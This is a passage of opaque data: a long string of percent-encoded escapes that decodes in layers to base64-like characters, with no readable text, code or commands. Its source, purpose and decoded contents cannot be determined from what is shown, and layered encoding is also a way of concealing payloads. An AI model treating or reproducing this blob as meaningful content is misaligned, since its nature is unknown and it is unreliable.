%37%32%25%34%64%25%37%31%25%37%34%25%36%63%25%37%32%25%36%33%25%37%32%25%33%31%25%35%37%25%33%35%25%34%63%25%36%38%25%36%39%25%35%61%25%33%36%25%33%38%25%35%33%25%34%61%25%34%32%25%37%61%25%37%39%25%35%39%25%34%62%25%35%30%25%35%39%25%36%65%25%36%61%25%36%36%25%37%35%25%32%62%25%33%32%25%36%63%25%37%34%25%33%36%25%33%30%25%35%38%25%33%30%25%37%39%25%37%61%25%33%30%25%33%31%25%33%35%25%33%34%25%35%31%25%35%32%25%36%63%25%33%35%25%34%61%25%35%37%25%32%62%25%36%61%25%33%34%25%34%39%25%36%65%25%37%38%25%36%39%25%36%65%25%35%37%25%37%33%25%32%66%25%34%62%25%35%39%25%37%37%25%37%61%25%35%38%25%34%66%25%34%61%25%37%35%25%37%37%25%34%63%25%33%31%25%36%35%25%36%33%25%33%34%25%33%30%25%33%33%25%37%36%25%34%66%25%34%35%25%37%38%25%34%61%25%35%30%25%34%35%25%36%62%25%37%37%25%36%65%25%36%62%25%34%32%25%33%34%25%33%32%25%36%38%25%35%35%25%34%37%25%33%38%25%35%38%25%34%39%25%36%31%25%34%63%25%35%31%25%35%30%25%36%32%25%36%62%25%37%39%25%37%30%25%34%65%25%33%39%25%37%36%25%36%62%25%37%30%25%34%35%25%34%62%25%34%37%25%36%64%25%34%31%25%37%39%25%37%30%25%34%32%25%33%33%25%32%62%25%37%61%25%37%39%25%35%31%25%34%33%25%34%64%25%36%66%25%33%32%25%36%37%25%34%38%25%33%31%25%36%39%25%34%39%25%35%35%25%35%33%25%35%39%25%35%32%25%35%33%25%34%66%25%37%38%25%35%37%25%36%37%25%33%30%25%37%30%25%36%64%25%37%33%25%34%62%25%37%33%25%34%62%25%34%66%25%35%37%25%37%33%25%37%39%25%35%33%25%35%36%25%34%65%25%37%31%25%34%63%25%35%35%25%34%39%25%34%33%25%37%36%25%37%34%25%36%34%25%34%31%25%37%31%25%34%37%25%36%37%25%33%32%25%34%31%25%37%30%25%37%32%25%36%32%25%37%61%25%36%35%25%33%30%25%36%66%25%34%31%25%34%31%25%34%36%25%34%63%25%34%31%25%36%31%25%35%31%25%34%35%25%35%30%25%35%31%25%34%62%25%37%39%25%34%63%25%33%34%25%34%39%25%32%66%25%34%62%25%34%62%25%35%33%25%34%36%25%34%63%25%36%33%25%33%34%25%37%37%25%36%34%25%33%38%25%33%32%25%34%33%25%34%38%25%36%37%25%34%36%25%34%62%25%34%36%25%37%31%25%35%34%25%35%35%25%35%37%25%37%32%25%35%31%25%34%38%25%35%38%25%37%39%25%36%64%25%37%39%25%34%35%25%35%37%25%35%33%25%32%62%25%35%37%25%33%36%25%34%35%25%36%64%25%36%61%25%34%38%25%37%34%25%36%63%25%36%31%25%36%32%25%37%61%25%34%33%25%36%66%25%33%30%25%36%65%25%33%31%25%33%30%25%36%39%25%33%35%25%37%36%25%33%30%25%37%38%25%37%31%25%35%33%25%36%31%25%37%39%25%34%37%25%32%62%25%37%61%25%32%62%25%37%61%25%36%31%25%37%32%25%33%37%25%36%61%25%35%30%25%34%66%25%33%31%25%33%37%25%37%61%25%34%66%25%34%34%25%35%38%25%37%61%25%35%30%25%33%39%25%33%36%25%35%38%25%33%39%25%36%35%25%36%33%25%37%38%25%35%36%25%33%38%25%33%32%25%34%36%25%34%63%25%37%36%25%33%35%25%34%34%25%34%31%25%35%38%25%37%31%25%34%64%25%34%31%25%34%38%25%36%65%25%36%34%25%32%66%25%36%31%25%37%32%25%37%32%25%36%61%25%37%35%25%37%31%25%34%35%25%36%34%25%37%37%25%34%37%25%35%39%25%36%62%25%33%35%25%33%34%25%34%39%25%37%61%25%34%61%25%36%37%25%34%32%25%33%38%25%34%33%25%37%38%25%33%37%25%35%35%25%36%35%25%37%39%25%33%38%25%36%64%25%33%30%25%33%33%25%34%34%25%35%30%25%35%33%25%34%36%25%36%36%25%33%31%25%35%33%25%34%38%25%33%35%25%36%65%25%34%65%25%35%30%25%34%32%25%35%30%25%37%37%25%35%36%25%33%35%25%34%31%25%33%37%25%37%37%25%34%34%25%35%31%25%36%65%25%37%61%25%37%37%25%34%34%25%37%33%25%34%66%25%34%31%25%34%31%25%34%31%25%35%39%25%34%34%25%33%39%25%33%30%25%35%31%25%34%61%25%36%66%25%34%35%25%36%38%25%37%39%25%34%36%25%34%61%25%33%33%25%34%38%25%33%32%25%34%61%25%37%39%25%35%38%25%33%38%25%34%34%25%33%34%25%33%34%25%35%37%25%36%37%25%36%65%25%34%61%25%33%36%25%33%31%25%35%35%25%33%33%25%33%31%25%35%36%25%37%36%25%33%33%25%35%36%25%33%36%25%34%64%25%35%39%25%33%32%25%37%33%25%35%35%25%35%37%25%37%34%25%36%31%25%36%64%25%34%66%25%34%38%25%34%66%25%37%34%25%32%62%25%36%63%25%37%32%25%36%65%25%35%37%25%36%61%25%35%37%25%33%39%25%33%33%25%37%30%25%35%38%25%36%66%25%33%39%25%37%35%25%35%35%25%34%36%25%33%30%25%37%38%25%34%37%25%35%30%25%37%32%25%35%31%25%36%61%25%34%37%25%33%39%25%35%33%25%35%33%25%33%31%25%37%32%25%36%34%25%37%30%25%36%37%25%33%35%25%33%33%25%33%38%25%36%35%25%36%38%25%33%38%25%32%66%25%37%32%25%33%36%25%33%39%25%33%39%25%36%39%25%34%34%25%32%62%25%34%63%25%37%34%25%34%63%25%34%61%25%34%31%25%32%66%25%35%31%25%35%30%25%32%66%25%36%37%25%33%34%25%36%33%25%33%39%25%34%65%25%36%32%25%34%34%25%36%66%25%34%39%25%36%31%25%36%39%25%37%36%25%36%36%25%37%31%25%34%35%25%34%64%25%34%37%25%36%31%25%36%66%25%36%33%25%36%61%25%37%61%25%36%32%25%37%36%25%37%34%25%36%63%25%34%64%25%33%38%25%34%31%25%36%36%25%35%32%25%35%33%25%34%65%25%35%39%25%37%30%25%33%36%25%33%30%25%33%34%25%33%37%25%33%34%25%37%39%25%37%38%25%34%33%25%34%64%25%34%39%25%32%66%25%34%34%25%35%33%25%33%30%25%37%30%25%34%61%25%33%30%25%37%39%25%37%39%25%34%39%25%36%64%25%37%35%25%35%31%25%35%38%25%34%35%25%34%32%25%35%31%25%35%33%25%34%36%25%36%61%25%34%36%25%36%63%25%33%31%25%37%32%25%35%31%25%35%61%25%36%33%25%33%35%25%36%66%25%34%31%25%34%35%25%34%32%25%34%66%25%37%38%25%35%32%25%34%62%25%37%31%25%37%32%25%35%30%25%36%64%25%36%33%25%33%33%25%36%37%25%34%31%25%35%61%25%34%31%25%33%39%25%35%34%25%35%61%25%37%30%25%35%37%25%36%63%25%34%38%25%33%39%25%35%34%25%36%35%25%37%30%25%35%36%25%33%31%25%34%36%25%34%33%25%35%34%25%35%32%25%36%38%25%35%35%25%33%31%25%37%61%25%34%62%25%35%32%25%34%61%25%35%32%25%35%31%25%33%30%25%33%33%25%36%39%25%36%31%25%33%32%25%36%66%25%34%35%25%35%33%25%36%32%25%33%31%25%37%39%25%33%32%25%37%31%25%36%62%25%34%64%25%36%34%25%36%66%25%36%62%25%37%32%25%37%31%25%34%63%25%34%37%25%36%64%25%36%39%25%35%32%25%35%36%25%33%31%25%34%38%25%36%39%25%35%34%25%33%35%25%34%39%25%37%31%25%36%31%25%35%39%25%34%61%25%34%61%25%36%31%25%35%35%25%35%32%25%34%65%25%34%65%25%37%31%25%37%30%25%36%36%25%35%36%25%34%61%25%34%63%25%35%37%25%36%66%25%36%37%25%37%39%25%37%35%25%35%37%25%35%39%25%34%32%25%35%38%25%34%33%25%37%33%25%34%32%25%37%31%25%37%32%25%36%62%25%35%39%25%36%37%25%33%31%25%35%37%25%34%39%25%34%64%25%35%35%25%37%32%25%34%64%25%35%35%25%34%37%25%36%63%25%34%64%25%34%65%25%34%37%25%36%32%25%34%35%25%35%31%25%34%65%25%36%32%25%34%64%25%34%39%25%36%38%25%37%30%25%34%66%25%34%35%25%37%37%25%34%34%25%37%31%25%34%64%25%35%35%25%36%61%25%37%35%25%34%31%25%35%35%25%34%33%25%37%35%25%34%64%25%33%30%25%35%34%25%37%31%25%34%64%25%35%33%25%37%61%25%37%35%25%34%31%25%34%64%25%37%31%25%37%35%25%34%39%25%37%33%25%37%61%25%37%31%25%34%35%25%37%39%25%37%61%25%37%35%25%34%64%25%33%38%25%37%31%25%37%35%25%34%35%25%36%39%25%34%63%25%37%31%25%34%35%25%33%30%25%37%32%25%37%35%25%34%35%25%36%31%25%37%39%25%37%35%25%34%39%25%34%37%25%36%32%25%37%31%25%34%32%25%36%64%25%36%33%25%34%31%25%37%34%25%34%64%25%36%31%25%36%63%25%35%38%25%35%35%25%34%38%25%35%61%25%35%30%25%36%31%25%34%36%25%35%38%25%35%38%25%35%30%25%37%30%25%34%35%25%33%35%25%34%36%25%35%30%25%36%32%25%36%66%25%36%34%25%33%31%25%34%65%25%35%38%25%34%36%25%34%63%25%33%32%25%35%38%25%35%37%25%34%32%25%37%33%25%34%34%25%35%32%25%35%61%25%34%37%25%36%37%25%35%33%25%37%61%25%37%61%25%36%63%25%34%62%25%37%32%25%36%33%25%36%39%25%35%30%25%32%66%25%37%30%25%36%38%25%36%66%25%36%61%25%35%30%25%35%34%25%35%30%25%32%66%25%36%32%25%36%62%25%34%65%25%33%34%25%34%66%25%34%39%25%36%34%25%34%37%25%34%39%25%33%32%25%36%31%25%34%39%25%36%36%25%37%30%25%37%30%25%37%31%25%35%35%25%34%64%25%35%38%25%36%38%25%33%38%25%34%35%25%34%34%25%33%30%25%34%61%25%33%30%25%35%39%25%36%31%25%34%62%25%34%65%25%36%38%25%33%36%25%34%35%25%34%31%25%36%33%25%34%34%25%34%39%25%36%35%25%36%64%25%33%38%25%34%34%25%36%31%25%33%39%25%33%30%25%33%34%25%37%33%25%35%39%25%34%65%25%33%34%25%37%32%25%34%66%25%34%39%25%34%64%25%33%31%25%36%63%25%36%33%25%34%31%25%33%34%25%36%64%25%33%32%25%37%36%25%37%38%25%34%31%25%35%61%25%34%33%25%36%63%25%35%61%25%34%37%25%35%34%25%33%35%25%35%33%25%37%34%25%35%35%25%37%35%25%34%65%25%34%38%25%37%31%25%34%36%25%37%38%25%36%35%25%34%63%25%34%39%25%33%31%25%33%32%25%36%38%25%35%39%25%34%38%25%35%61%25%33%38%25%33%32%25%36%35%25%37%61%25%33%39%25%36%39%25%35%32%25%35%36%25%33%30%25%33%31%25%37%37%25%36%64%25%32%62%25%36%35%25%37%30%25%37%31%25%36%33%25%37%33%25%35%61%25%35%38%25%33%36%25%34%33%25%35%31%25%36%34%25%37%33%25%34%37%25%37%39%25%32%62%25%34%37%25%34%38%25%34%32%25%35%37%25%34%63%25%36%62%25%33%38%25%36%31%25%34%66%25%36%37%25%36%37%25%34%62%25%34%63%25%36%37%25%35%31%25%35%34%25%36%62%25%34%37%25%36%65%25%37%37%25%34%35%25%37%35%25%34%62%25%32%62%25%35%32%25%34%61%25%37%32%25%37%32%25%32%66%25%33%37%25%36%34%25%33%30%25%34%61%25%35%61%25%36%33%25%36%61%25%34%62%25%33%36%25%36%61%25%34%66%25%37%31%25%36%31%25%37%30%25%34%34%25%34%65%25%35%38%25%32%62%25%33%39%25%36%37%25%34%36%25%37%38%25%37%35%25%37%39%25%34%32%25%36%35%25%34%36%25%36%39%25%34%64%25%34%39%25%34%38%25%34%37%25%37%32%25%32%66%25%37%32%25%35%39%25%33%32%25%34%64%25%37%36%25%37%61%25%37%34%25%34%39%25%37%35%25%36%35%25%37%39%25%35%39%25%35%35%25%35%36%25%35%36%25%36%31%25%33%31%25%37%34%25%33%38%25%32%62%25%34%61%25%36%31%25%36%37%25%35%38%25%35%31%25%36%31%25%35%34%25%34%66%25%33%37%25%34%31%25%34%65%25%34%65%25%33%34%25%34%66%25%36%32%25%34%35%25%37%36%25%35%37%25%36%35%25%32%66%25%36%37%25%33%31%25%36%35%25%35%30%25%36%36%25%34%32%25%36%34%25%37%33%25%36%62%25%35%33%25%34%38%25%37%34%25%36%37%25%36%32%25%34%62%25%37%32%25%36%63%25%37%39%25%34%64%25%36%35%25%34%63%25%37%34%25%33%39%25%36%34%25%36%38%25%33%37%25%32%62%25%35%30%25%35%38%25%33%36%25%37%30%25%34%31%25%33%38%25%35%61%25%33%37%25%35%61%25%34%34%25%36%64%25%35%34%25%36%61%25%32%66%25%34%32%25%34%34%25%37%31%25%33%30%25%34%63%25%36%36%25%36%31%25%33%30%25%32%62%25%33%36%25%33%33%25%33%38%25%34%64%25%35%32%25%34%62%25%33%33%25%34%35%25%35%37%25%33%38%25%37%32%25%34%63%25%34%39%25%35%39%25%34%62%25%36%35%25%34%66%25%34%37%25%34%34%25%36%66%25%36%31%25%34%63%25%33%35%25%36%31%25%36%37%25%35%31%25%35%30%25%36%38%25%34%34%25%36%38%25%34%38%25%33%39%25%35%37%25%35%31%25%35%33%25%36%37%25%34%34%25%35%35%25%37%38%25%37%37%25%34%34%25%34%31%25%34%36%25%37%37%25%34%34%25%36%37%25%35%30%25%32%66%25%34%31%25%37%38%25%34%32%25%34%32%25%33%39%25%36%37%25%33%37%25%33%34%25%34%35%25%36%35%25%36%37%25%35%37%25%33%35%25%34%31%25%33%39%25%36%62%25%35%39%25%34%33%25%34%37%25%34%39%25%33%35%25%37%35%25%37%37%25%34%31%25%37%30%25%36%62%25%33%39%25%37%35%25%36%65%25%36%31%25%33%37%25%33%30%25%33%30%25%34%63%25%37%36%25%33%32%25%36%61%25%33%34%25%34%65%25%33%34%25%34%64%25%33%30%25%37%37%25%36%31%25%34%61%25%34%37%25%34%35%25%36%61%25%36%63%25%36%62%25%36%39%25%33%37%25%34%35%25%33%34%25%35%34%25%34%63%25%34%37%25%36%62%25%37%38%25%32%62%25%35%30%25%33%38%25%33%33%25%36%38%25%34%31%25%33%32%25%35%38%25%37%30%25%35%38%25%34%34%25%34%38%25%37%31%25%32%66%25%33%37%25%37%33%25%37%36%25%36%64%25%36%66%25%35%35%25%37%30%25%37%38%25%36%32%25%35%38%25%35%32%25%36%61%25%36%61%25%37%36%25%35%31%25%36%39%25%36%65%25%34%39%25%36%64%25%33%38%25%35%39%25%34%37%25%33%39%25%33%30%25%36%63%25%35%36%25%36%61%25%33%31%25%35%32%25%34%36%25%34%35%25%35%35%25%36%62%25%35%31%25%37%35%25%33%33%25%34%63%25%34%32%25%33%33%25%35%38%25%36%34%25%36%34%25%35%39%25%36%34%25%33%38%25%37%37%25%36%65%25%33%31%25%32%62%25%35%32%25%35%38%25%34%63%25%37%34%25%35%36%25%35%35%25%35%30%25%36%39%25%35%38%25%34%38%25%34%39%25%37%33%25%34%63%25%33%36%25%33%30%25%36%35%25%35%35%25%36%61%25%37%32%25%37%35%25%33%36%25%33%37%25%37%61%25%34%61%25%33%36%25%37%31%25%34%64%25%37%61%25%35%38%25%35%38%25%35%34%25%35%61%25%36%32%25%35%61%25%36%33%25%34%65%25%35%35%25%35%32%25%36%66%25%36%35%25%36%61%25%33%39%25%34%35%25%35%36%25%37%36%25%36%61%25%32%66%25%33%36%25%35%33%25%35%35%25%37%32%25%36%38%25%37%33%25%33%32%25%36%39%25%34%32%25%33%37%25%35%30%25%33%33%25%36%61%25%35%61%25%34%33%25%36%61%25%37%35%25%37%35%25%36%64%25%37%61%25%37%61%25%37%31%25%36%38%25%34%39%25%34%64%25%35%61%25%36%38%25%34%61%25%37%61%25%33%30%25%33%35%25%33%30%25%37%35%25%35%36%25%34%31%25%34%36%25%33%36%25%35%38%25%33%36%25%34%34%25%36%39%25%34%31%25%36%64%25%36%66%25%37%61%25%34%65%25%37%33%25%37%31%25%34%62%25%33%38%25%34%61%25%37%37%25%37%36%25%34%37%25%36%65%25%37%61%25%33%32%25%34%61%25%35%31%25%33%30%25%34%35%25%34%66%25%32%66%25%35%36%25%37%38%25%37%38%25%33%31%25%33%33%25%36%62%25%35%35%25%34%64%25%37%32%25%37%38%25%33%36%25%35%39%25%36%63%25%36%35%25%36%39%25%37%38%25%33%37%25%37%30%25%32%62%25%34%38%25%35%37%25%32%62%25%33%36%25%35%30%25%35%34%25%35%35%25%34%31%25%36%37%25%36%37%25%36%35%25%33%39%25%32%66%25%37%61%25%34%64%25%34%66%25%33%33%25%35%33%25%34%39%25%36%31%25%33%32%25%35%37%25%36%34%25%33%31%25%32%66%25%34%38%25%32%66%25%36%36%25%34%66%25%37%38%25%34%37%25%34%62%25%34%62%25%35%31%25%34%64%25%34%36%25%34%32%25%35%39%25%35%37%25%37%30%25%37%38%25%34%33%25%34%33%25%36%62%25%33%36%25%35%34%25%35%36%25%36%36%25%37%32%25%36%35%25%33%32%25%37%34%25%36%63%25%37%61%25%36%65%25%37%38%25%35%36%25%34%33%25%36%63%25%33%30%25%34%62%25%35%34%25%34%61%25%34%31%25%33%38%25%34%66%25%34%39%25%33%38%25%33%34%25%34%63%25%32%62%25%34%62%25%34%37%25%33%33%25%36%39%25%35%38%25%34%63%25%37%34%25%35%32%25%34%35%25%37%32%25%36%65%25%34%62%25%34%65%25%35%36%25%35%38%25%35%32%25%36%66%25%34%32%25%33%33%25%36%34%25%35%36%25%36%36%25%34%36%25%36%35%25%35%30%25%37%38%25%36%34%25%36%33%25%36%63%25%35%31%25%35%32%25%35%36%25%34%37%25%36%66%25%36%38%25%37%39%25%36%62%25%37%36%25%36%61%25%33%37%25%35%32%25%35%36%25%33%37%25%33%34%25%34%39%25%33%35%25%34%62%25%33%35%25%36%31%25%35%37%25%33%30%25%35%36%25%33%39%25%37%30%25%35%32%25%37%35%25%35%34%25%33%31%25%35%35%25%36%39%25%34%38%25%36%66%25%37%36%25%37%32%25%35%39%25%34%35%25%33%30%25%36%31%25%36%61%25%34%66%25%36%35%25%34%36%25%33%36%25%35%30%25%34%37%25%34%64%25%35%38%25%36%62%25%37%37%25%37%30%25%36%32%25%36%35%25%34%32%25%36%33%25%36%65%25%34%38%25%37%37%25%34%62%25%34%34%25%35%35%25%36%39%25%35%33%25%36%34%25%34%35%25%36%38%25%34%64%25%37%33%25%36%32%25%32%62%25%33%31%25%37%36%25%36%32%25%36%36%25%34%38%25%34%35%25%33%36%25%35%35%25%36%36%25%35%61%25%36%37%25%34%36%25%37%36%25%37%38%25%36%62%25%35%39%25%36%31%25%33%39%25%37%31%25%35%38%25%37%39%25%33%35%25%33%36%25%34%65%25%36%39%25%35%35%25%34%39%25%33%36%25%34%37%25%35%38%25%34%62%25%33%35%25%34%66%25%37%39%25%37%36%25%37%36%25%34%33%25%34%62%25%36%39%25%36%62%25%37%37%25%33%35%25%33%35%25%37%37%25%33%39%25%33%37%25%35%38%25%37%31%25%36%64%25%37%38%25%34%34%25%36%35%25%36%63%25%33%30%25%32%62%25%37%33%25%33%39%25%37%32%25%35%35%25%37%32%25%33%32%25%33%31%25%34%62%25%37%31%25%35%37%25%36%35%25%37%61%25%37%30%25%35%31%25%36%39%25%33%32%25%34%63%25%33%32%25%36%38%25%34%36%25%33%37%25%32%62%25%37%36%25%33%36%25%33%32%25%34%65%25%34%63%25%32%66%25%33%36%25%36%34%25%36%33%25%37%37%25%34%31%25%34%36%25%37%36%25%37%37%25%37%35%25%37%39%25%36%36%25%37%38%25%33%32%25%34%34%25%33%33%25%37%34%25%33%35%25%37%36%25%35%37%25%35%35%25%33%30%25%34%63%25%34%32%25%34%34%25%37%32%25%34%64%25%34%66%25%34%37%25%37%37%25%37%30%25%34%66%25%34%37%25%35%32%25%34%63%25%35%39%25%34%61%25%37%32%25%37%61%25%37%34%25%33%37%25%36%64%25%36%31%25%36%64%25%34%31%25%34%61%25%33%38%25%37%36%25%35%34%25%34%66%25%33%31%25%36%32%25%32%66%25%36%36%25%34%36%25%34%37%25%34%38%25%34%36%25%34%35%25%33%33%25%34%65%25%36%61%25%36%39%25%34%66%25%32%62%25%35%30%25%35%30%25%36%33%25%36%32%25%37%30%25%34%61%25%33%34%25%37%31%25%35%36%25%36%61%25%35%32%25%37%37%25%35%35%25%35%39%25%35%34%25%37%35%25%33%35%25%33%32%25%37%37%25%33%34%25%34%64%25%33%37%25%34%35%25%34%65%25%35%34%25%33%30%25%33%36%25%33%35%25%34%65%25%37%37%25%35%31%25%35%61%25%36%33%25%32%66%25%37%34%25%33%30%25%33%32%25%33%31%25%36%64%25%35%34%25%35%37%25%35%39%25%34%39%25%37%38%25%34%64%25%37%30%25%35%33%25%34%34%25%36%39%25%33%36%25%35%61%25%33%31%25%37%38%25%35%39%25%33%36%25%35%30%25%35%34%25%36%61%25%35%61%25%36%33%25%36%63%25%33%33%25%36%36%25%37%38%25%34%36%25%36%38%25%33%32%25%36%37%25%33%39%25%35%30%25%37%37%25%36%65%25%36%33%25%34%66%25%34%35%25%35%34%25%37%35%25%36%31%25%37%35%25%34%34%25%33%38%25%33%34%25%33%37%25%35%31%25%33%30%25%33%38%25%37%36%25%36%34%25%32%66%25%35%61%25%36%35%25%36%37%25%33%36%25%33%33%25%34%65%25%37%35%25%35%34%25%32%66%25%34%32%25%34%37%25%35%30%25%36%36%25%33%39%25%36%39%25%34%65%25%35%37%25%33%36%25%37%38%25%36%35%25%34%62%25%34%63%25%35%39%25%37%33%25%35%37%25%37%38%25%37%36%25%37%37%25%34%64%25%32%66%25%35%33%25%34%31%25%37%39%25%36%65%25%34%39%25%35%36%25%35%32%25%34%66%25%34%39%25%35%37%25%33%30%25%35%32%25%36%64%25%36%61%25%34%39%25%33%38%25%33%31%25%33%31%25%36%31%25%37%35%25%34%63%25%33%36%25%33%34%25%34%63%25%33%36%25%34%66%25%34%31%25%35%61%25%34%38%25%35%38%25%34%62%25%36%32%25%34%37%25%33%37%25%34%33%25%34%61%25%37%39%25%34%37%25%37%30%25%37%38%25%34%64%25%35%34%25%37%32%25%36%33%25%33%38%25%33%32%25%33%31%25%32%62%25%35%39%25%34%66%25%36%38%25%35%30%25%34%36%25%33%33%25%36%37%25%36%32%25%35%61%25%36%63%25%34%35%25%33%34%25%37%37%25%35%34%25%37%36%25%36%63%25%36%65%25%35%32%25%33%39%25%35%38%25%34%38%25%36%61%25%34%66%25%36%36%25%34%66%25%33%37%25%32%62%25%35%39%25%34%34%25%37%36%25%34%31%25%36%38%25%36%33%25%33%36%25%36%38%25%36%64%25%35%61%25%33%31%25%34%66%25%36%32%25%36%66%25%37%34%25%37%32%25%34%66%25%35%34%25%34%39%25%33%35%25%34%37%25%37%61%25%34%65%25%33%33%25%33%33%25%36%65%25%37%34%25%36%39%25%33%38%25%34%61%25%34%31%25%34%33%25%37%33%25%37%35%25%36%37%25%34%64%25%37%36%25%34%64%25%36%31%25%37%30%25%36%35%25%33%30%25%35%35%25%34%65%25%35%37%25%36%65%25%36%66%25%36%61%25%37%31%25%35%31%25%34%32%25%34%63%25%36%66%25%34%38%25%34%34%25%33%31%25%36%64%25%34%39%25%35%30%25%34%34%25%36%63%25%37%30%25%34%39%25%34%64%25%37%32%25%37%37%25%37%37%25%37%30%25%35%32%25%36%39%25%37%61%25%35%36%25%34%39%25%35%31%25%36%35%25%34%66%25%35%32%25%32%62%25%34%64%25%33%37%25%33%37%25%35%39%25%33%31%25%37%37%25%35%35%25%37%36%25%34%63%25%36%33%25%36%61%25%36%63%25%37%38%25%34%32%25%37%32%25%36%63%25%35%31%25%33%37%25%37%39%25%36%39%25%35%32%25%35%38%25%34%33%25%37%37%25%36%63%25%37%35%25%33%38%25%34%34%25%37%31%25%34%31%25%36%66%25%33%31%25%34%62%25%33%36%25%37%33%25%35%37%25%33%38%25%33%32%25%33%33%25%34%61%25%35%32%25%34%62%25%34%62%25%36%33%25%36%38%25%36%61%25%36%33%25%34%63%25%32%66%25%37%39%25%33%33%25%34%36%25%35%31%25%36%36%25%36%39%25%36%62%25%37%61%25%34%66%25%36%38%25%37%61%25%32%62%25%33%37%25%35%33%25%35%32%25%33%32%25%33%36%25%34%31%25%33%36%25%35%34%25%37%37%25%33%37%25%34%34%25%36%65%25%37%33%25%33%31%25%32%66%25%36%35%25%37%38%25%35%35%25%34%31%25%37%34%25%36%64%25%34%34%25%36%66%25%36%31%25%35%35%25%35%36%25%33%36%25%34%37%25%36%36%25%37%36%25%34%61%25%33%31%25%35%61%25%34%32%25%34%63%25%34%66%25%36%32%25%37%38%25%36%32%25%36%34%25%35%31%25%33%33%25%36%65%25%34%31%25%36%38%25%33%35%25%36%37%25%34%33%25%33%37%25%36%38%25%35%38%25%37%36%25%34%37%25%33%34%25%33%32%25%33%33%25%35%36%25%34%61%25%33%39%25%36%62%25%36%35%25%36%65%25%33%31%25%34%62%25%34%34%25%37%38%25%35%33%25%35%37%25%36%31%25%37%34%25%33%31%25%34%36%25%34%62%25%36%39%25%35%61%25%33%33%25%34%39%25%35%30%25%36%66%25%35%30%25%34%31%25%35%38%25%34%34%25%35%32%25%33%35%25%34%33%25%36%38%25%36%35%25%34%35%25%37%32%25%33%36%25%32%62%25%34%38%25%36%38%25%34%39%25%33%30%25%36%34%25%36%39%25%35%35%25%34%36%25%35%30%25%37%31%25%37%30%25%37%39%25%33%30%25%33%33%25%35%38%25%36%31%25%33%37%25%34%34%25%36%39%25%34%62%25%32%66%25%33%36%25%33%34%25%37%61%25%34%36%25%35%37%25%35%36%25%33%36%25%33%32%25%35%30%25%34%37%25%37%33%25%33%38%25%36%34%25%33%30%25%36%39%25%33%32%25%32%62%25%32%66%25%37%37%25%36%66%25%35%36%25%32%62%25%37%32%25%34%34%25%37%35%25%37%35%25%33%34%25%36%62%25%32%62%25%33%33%25%34%63%25%36%62%25%36%39%25%36%31%25%35%31%25%35%38%25%35%39%25%37%61%25%37%33%25%36%66%25%37%33%25%32%62%25%35%39%25%34%36%25%36%38%25%34%36%25%36%35%25%37%30%25%36%62%25%35%36%25%36%34%25%36%64%25%36%37%25%33%31%25%32%62%25%36%32%25%35%38%25%34%31%25%36%39%25%35%37%25%33%30%25%34%39%25%33%30%25%36%63%25%35%39%25%37%33%25%33%33%25%37%36%25%33%33%25%34%39%25%35%31%25%37%33%25%37%38%25%35%37%25%35%61%25%36%35%25%33%33%25%33%34%25%36%34%25%37%33%25%36%65%25%37%35%25%35%31%25%35%30%25%33%35%25%36%64%25%34%34%25%37%34%25%33%35%25%33%32%25%33%36%25%36%33%25%36%61%25%36%64%25%36%39%25%36%62%25%36%65%25%35%34%25%33%33%25%36%38%25%34%62%25%35%38%25%36%34%25%35%37%25%34%63%25%34%61%25%35%37%25%33%37%25%37%32%25%33%34%25%36%33%25%33%33%25%35%36%25%36%35%25%34%39%25%35%38%25%34%62%25%33%39%25%35%37%25%34%31%25%35%32%25%36%65%25%33%32%25%37%33%25%36%39%25%33%33%25%35%30%25%34%31%25%33%30%25%33%32%25%35%30%25%36%38%25%37%30%25%34%63%25%34%39%25%34%37%25%36%64%25%37%34%25%35%30%25%33%37%25%36%61%25%33%32%25%37%33%25%33%39%25%33%39%25%34%33%25%36%64%25%36%39%25%36%34%25%35%33%25%34%62%25%34%66%25%35%61%25%35%32%25%37%38%25%34%38%25%37%39%25%32%66%25%35%33%25%36%37%25%33%30%25%37%31%25%34%65%25%33%30%25%36%62%25%36%39%25%36%34%25%34%61%25%36%33%25%36%33%25%36%39%25%35%36%25%33%39%25%37%61%25%34%63%25%37%38%25%36%33%25%34%63%25%33%35%25%35%32%25%37%61%25%34%32%25%35%38%25%37%34%25%35%38%25%36%65%25%36%61%25%35%30%25%35%32%25%36%66%25%33%38%25%33%37%25%35%38%25%34%37%25%33%35%25%33%30%25%34%34%25%33%37%25%35%32%25%34%62%25%33%38%25%37%31%25%34%66%25%36%32%25%33%33%25%36%62%25%33%39%25%35%35%25%34%61%25%35%32%25%33%35%25%36%35%25%33%30%25%34%62%25%37%31%25%33%30%25%34%31%25%36%37%25%33%31%25%36%63%25%36%31%25%37%39%25%36%38%25%36%63%25%37%31%25%33%38%25%36%36%25%33%34%25%33%35%25%36%33%25%34%33%25%33%37%25%37%34%25%36%62%25%37%31%25%34%31%25%36%61%25%34%64%25%36%65%25%37%32%25%37%39%25%34%32%25%37%36%25%35%38%25%36%62%25%37%37%25%34%65%25%33%39%25%36%38%25%34%64%25%35%30%25%37%39%25%35%36%25%34%35%25%36%39%25%35%34%25%36%38%25%33%38%25%34%33%25%34%66%25%34%34%25%34%64%25%36%31%25%37%32%25%37%31%25%35%32%25%35%34%25%35%31%25%35%61%25%34%36%25%35%34%25%34%66%25%36%34%25%36%36%25%34%37%25%35%31%25%36%31%25%35%38%25%34%66%25%33%31%25%33%37%25%35%37%25%34%38%25%32%66%25%36%39%25%34%39%25%33%34%25%36%36%25%35%61%25%34%34%25%34%39%25%36%65%25%34%36%25%36%37%25%33%35%25%35%37%25%34%39%25%34%36%25%33%37%25%34%66%25%35%61%25%34%61%25%35%31%25%35%39%25%37%34%25%35%30%25%35%32%25%34%66%25%33%38%25%37%31%25%34%31%25%36%61%25%36%35%25%37%30%25%35%37%25%33%38%25%36%32%25%36%34%25%34%64%25%37%33%25%35%32%25%37%39%25%37%32%25%35%33%25%35%33%25%34%63%25%35%37%25%32%62%25%37%33%25%32%62%25%34%61%25%35%33%25%32%62%25%36%34%25%37%38%25%33%31%25%36%37%25%35%34%25%33%31%25%36%33%25%36%36%25%37%36%25%36%32%25%36%35%25%37%38%25%36%65%25%34%33%25%35%61%25%36%65%25%37%31%25%36%63%25%37%33%25%37%35%25%33%39%25%36%61%25%33%30%25%32%66%25%35%31%25%34%36%25%34%37%25%36%64%25%33%35%25%33%34%25%34%35%25%33%35%25%35%34%25%36%38%25%36%38%25%35%39%25%33%39%25%34%39%25%33%32%25%36%35%25%33%32%25%34%38%25%33%32%25%36%61%25%37%35%25%36%66%25%33%33%25%33%32%25%32%62%25%36%65%25%33%35%25%37%31%25%32%66%25%36%31%25%35%30%25%37%61%25%32%62%25%36%31%25%37%31%25%37%61%25%37%34%25%36%64%25